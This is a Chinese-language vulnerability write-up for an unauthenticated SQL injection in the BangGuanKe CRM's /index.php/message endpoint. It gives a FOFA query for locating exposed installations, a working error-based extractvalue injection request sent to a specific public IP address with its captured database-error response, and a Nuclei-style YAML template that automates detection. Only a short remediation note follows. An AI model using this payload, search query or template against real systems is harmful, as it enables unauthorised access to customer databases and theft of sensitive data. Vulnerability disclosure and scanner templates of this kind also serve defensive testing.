

## B1-2帮管家-CRM-SQL

### 漏洞描述：

帮管客CRM 客户管理系统/index.php/message 接口存在 sql注入漏洞，未经身份认证的攻击者可通过此漏洞获取数据库敏感信息。

### 网站图片：



### 网络测绘：

#### fofa语法：

app="帮管客-CRM"

### 漏洞复现：

#### payload:

```
GET /index.php/message?page=1&pai=1%20and%20extractvalue(0x7e,concat(0x7e,(select+user%28%29),0x7e))%23&xu=desc HTTP/1.1
Host: 119.28.24.26:9999
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close
```

#### 效果图:

Request	Responses
<div>1GET · /index.php/message?page=1&amp;pai=1%20and%20extractvalue(0x7e,concat(0x7e,(select+user%28%29),0x7e))%23&amp;xu=desc · HTTP/1.1</div> <div>2Host: · 119.28.24.26:9999</div> <div>3User-Agent: · Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15</div> <div>4Accept-Encoding: · gzip, deflate</div> <div>5Connection: · close</div>	<div>12Location: · /index.php/login</div> <div>13Vary: · Accept-Encoding</div> <div>14Content-Type: · text/html; charset=utf-8</div> <div>15Content-Length: · 1431</div> <div>16</div> <div>17&lt;!DOCTYPE html&gt;</div> <div>18&lt;html lang="en"&gt;</div> <div>19&lt;head&gt;</div> <div>20&lt;title&gt;Database Error&lt;/title&gt;</div> <div>21&lt;style type="text/css"&gt;</div> <div>22::selection {background-color: #E1306C;}</div> <div>23::moz-selection {background-color: #E1306C;}</div> <div>24::webkit-selection {background-color: #E1306C;}</div> <div>25body {background-color: #fff; margin: 0; padding: 10px 0 0 0; font-family: Helvetica, Arial, sans-serif; color: #000; font-size: 14px;}</div> <div>26a {color: #003399; background-color: #fff; padding: 2px 5px; text-decoration: none;}</div> <div>27h1 {color: #444; background-color: #fff; padding: 10px 0 0 0; font-size: 19px; font-weight: bold;}</div> <div>28code {font-family: Consolas, Monaco, monospace; font-size: 12px; background-color: #f0f0f0; padding: 10px 0 0 0; border: 1px solid #000000; color: #002166; display: inline-block;}</div> <div>29#container {margin: 10px; border: 1px solid #000000; padding: 10px; border-radius: 5px; box-shadow: 0 0 8px #D0D0D0;}</div> <div>30p {margin: 12px 15px 12px 15px;}</div> <div>31&lt;/style&gt;</div> <div>32&lt;/head&gt;</div> <div>33&lt;body&gt;</div> <div>34&lt;div id="container"&gt;</div> <div>35&lt;h1&gt;A Database Error Occurred&lt;/h1&gt;</div> <div>36&lt;p&gt;Error Number: 1145 / (rs) (rs)</div>

## Yaml模板

```
id: B1-3BangGuanJia-SQL
info:
  name: B1-3BangGuanJia-SQL
  author: BeR09
  severity: critical
  description:
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/134631469
  tags: BangGuanJia,BangGuanKe,SQL

http:
  - method: GET
    path:
      - "{(BaseURL)}/index.php/message?page=1&pai=1%20and%20extractvalue(0x7e,concat(0x7e,(select+user%28%29),0x7e))%23&xu=desc"
    headers:
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
      Accept-Encoding: gzip, deflate
      Connection: close
    matchers:
      - type: word
        words:
          - "XPATH syntax error: '~"
```

## 修复建议：

官方已发布安全版本，请用户联系厂商修复漏洞<https://www.bgk100.com/> 部署Web应用防火墙，对数据库操作进行监控。如非必要，禁止公网访问该系统。

## 参考链接：

[https://blog.csdn.net/qq\\_41904294/article/details/134631469](https://blog.csdn.net/qq_41904294/article/details/134631469)